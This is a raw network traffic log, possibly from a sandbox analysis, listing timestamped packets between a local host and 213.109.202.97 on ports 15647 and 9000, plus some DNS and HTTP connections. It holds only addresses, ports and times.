Sep 26, 2024 01:48:00.502182007 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.550641060 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.613701105 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.625365973 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.630124092 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.645703077 CEST	49717	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.650446892 CEST	9000	49717	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.650542021 CEST	49717	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.651451111 CEST	49717	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.657289982 CEST	9000	49717	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.733688116 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.739273071 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.740645885 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.793107986 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.843314886 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.874025106 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:00.918205023 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.969679117 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:00.995078087 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.043098927 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.105360031 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.122077942 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.168071985 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.234776974 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.251379967 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.293370962 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.343401909 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.378488064 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.433710098 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.463984966 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.647450924 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.647615910 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.647634983 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.647648096 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.647716045 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.652848959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.657138109 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.662333965 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.684700012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.738610983 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.795020103 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.799841881 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.801652908 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.855598927 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.890827894 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.904102087 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:01.958652973 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:01.981826067 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.014597893 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.019419909 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.145940065 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.199568033 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.281470060 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.331414938 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.336520910 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.422430038 CEST	9000	49717	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.422501087 CEST	49717	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.432354927 CEST	49717	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.433175087 CEST	49718	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.437216043 CEST	9000	49717	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.437968016 CEST	9000	49718	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.438051939 CEST	49718	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.438308001 CEST	49718	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.443087101 CEST	9000	49718	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.482553005 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.487575054 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.595999002 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.601126909 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.700138092 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.705132961 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.742125988 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.793117046 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.810156107 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.858704090 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:02.922713041 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:02.927654028 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.028745890 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.033639908 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.141158104 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.146056890 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.162254095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.215037107 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.247662067 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.289294004 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.339988947 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.356918097 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.402654886 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.469192028 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.473965883 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.577518940 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.582370043 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.684925079 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.689747095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.718051910 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.761862993 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.793864965 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.844954967 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:03.886848927 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.903286934 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:03.954644918 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:04.012706041 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:04.017724991 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:04.123034000 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:04.128068924 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:04.146177053 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:04.199343920 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:04.233731031 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:04.543148041 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.152489901 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.238890886 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.239165068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.239226103 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.239289999 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.239315033 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.239609957 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.240654945 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.240739107 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.243885040 CEST	59813	53	192.168.2.7	162.159.36.2
Sep 26, 2024 01:48:05.246417999 CEST	49706	80	192.168.2.7	104.18.21.226
Sep 26, 2024 01:48:05.246468067 CEST	49704	80	192.168.2.7	104.18.20.226
Sep 26, 2024 01:48:05.246510983 CEST	49705	80	192.168.2.7	104.18.21.226
Sep 26, 2024 01:48:05.248624086 CEST	53	59813	162.159.36.2	192.168.2.7
Sep 26, 2024 01:48:05.248703003 CEST	59813	53	192.168.2.7	162.159.36.2
Sep 26, 2024 01:48:05.248766899 CEST	59813	53	192.168.2.7	162.159.36.2
Sep 26, 2024 01:48:05.448816061 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.449246883 CEST	53	59813	162.159.36.2	192.168.2.7
Sep 26, 2024 01:48:05.449281931 CEST	80	49706	104.18.21.226	192.168.2.7
Sep 26, 2024 01:48:05.449474096 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.449476004 CEST	49706	80	192.168.2.7	104.18.21.226
Sep 26, 2024 01:48:05.450222015 CEST	80	49704	104.18.20.226	192.168.2.7
Sep 26, 2024 01:48:05.450292110 CEST	80	49705	104.18.21.226	192.168.2.7
Sep 26, 2024 01:48:05.450349092 CEST	49704	80	192.168.2.7	104.18.20.226
Sep 26, 2024 01:48:05.450366974 CEST	49705	80	192.168.2.7	104.18.21.226
Sep 26, 2024 01:48:05.454340935 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.460376978 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.511959076 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.512613058 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.562707901 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.587452888 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.622730970 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.627541065 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.714471102 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.736555099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.741389990 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.840811014 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.842569113 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.845674038 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.886853933 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.906616926 CEST	53	59813	162.159.36.2	192.168.2.7
Sep 26, 2024 01:48:05.907257080 CEST	59813	53	192.168.2.7	162.159.36.2
Sep 26, 2024 01:48:05.912434101 CEST	53	59813	162.159.36.2	192.168.2.7
Sep 26, 2024 01:48:05.912493944 CEST	59813	53	192.168.2.7	162.159.36.2
Sep 26, 2024 01:48:05.950113058 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:05.954929113 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:05.968882084 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.011898994 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.059613943 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.101479053 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.152518034 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.168776035 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.214678049 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.278696060 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.283485889 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.389995098 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.394788027 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.497306108 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.502159119 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.524332047 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.574400902 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.606406927 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.651487112 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.699398994 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.716120958 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.766710997 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.778636932 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.824399948 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.829827070 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.834954023 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.905663013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:06.925950050 CEST	58350	53	192.168.2.7	1.1.1.1
Sep 26, 2024 01:48:06.930740118 CEST	53	58350	1.1.1.1	192.168.2.7
Sep 26, 2024 01:48:06.930843115 CEST	58350	53	192.168.2.7	1.1.1.1
Sep 26, 2024 01:48:06.931050062 CEST	58350	53	192.168.2.7	1.1.1.1
Sep 26, 2024 01:48:06.935297012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:06.935750961 CEST	53	58350	1.1.1.1	192.168.2.7
Sep 26, 2024 01:48:06.940206051 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.046566010 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.051414013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.153605938 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.158515930 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.205413103 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.246292114 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.262916088 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.267752886 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.341594934 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.372423887 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.377599955 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.481609106 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.486481905 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.504515886 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.558801889 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.591973066 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.639015913 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.703767061 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.708735943 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.752062082 CEST	53	58350	1.1.1.1	192.168.2.7
Sep 26, 2024 01:48:07.752674103 CEST	58350	53	192.168.2.7	1.1.1.1
Sep 26, 2024 01:48:07.759819031 CEST	53	58350	1.1.1.1	192.168.2.7
Sep 26, 2024 01:48:07.759907961 CEST	58350	53	192.168.2.7	1.1.1.1
Sep 26, 2024 01:48:07.771651983 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.809726000 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.814663887 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.897311926 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.919390917 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:07.924284935 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:07.988229990 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.028286934 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.033098936 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.137629032 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.142466068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.247229099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.252139091 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.334249973 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.359708071 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.365164995 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.459830999 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.466499090 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.471343994 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.562319040 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.574951887 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.579996109 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.676394939 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.688873053 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.693813086 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.794183969 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.799256086 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.803427935 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.855619907 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.903358936 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:08.937446117 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:08.980639935 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.022623062 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.057539940 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.105673075 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.137831926 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.186675072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.249876976 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.254822969 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.356595039 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.358393908 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.361509085 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.402568102 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.490669966 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.543247938 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.629425049 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.683792114 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.696439028 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.701268911 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.720292091 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.777550936 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.815068007 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.862637043 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.928728104 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:09.933548927 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.933877945 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:09.980679035 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.044317961 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.062478065 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.105629921 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.153389931 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.191164017 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.246272087 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.262697935 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.314671993 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.320585012 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.371417999 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.375780106 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.380635977 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.482800007 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.487678051 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.593144894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.597963095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.700333118 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.705116034 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.756369114 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.808921099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.809751034 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.814646959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.884990931 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:10.918982983 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:10.924241066 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.011837959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.028489113 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.034045935 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.137713909 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.138592958 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.144643068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.249346018 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.254101992 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.264792919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.308773041 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.356647968 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.402566910 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.468122959 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.472945929 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.575504065 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.580454111 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.684650898 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.689501047 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.692230940 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.746357918 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.794313908 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.819361925 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.871290922 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.905559063 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.925184011 CEST	9000	49718	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.926745892 CEST	49718	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.926912069 CEST	49718	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:11.931612968 CEST	9000	49718	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.946785927 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:11.996510029 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.013549089 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.043838978 CEST	58353	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.048629045 CEST	9000	58353	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.051490068 CEST	58353	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.051578999 CEST	58353	9000	192.168.2.7	213.109.202.97
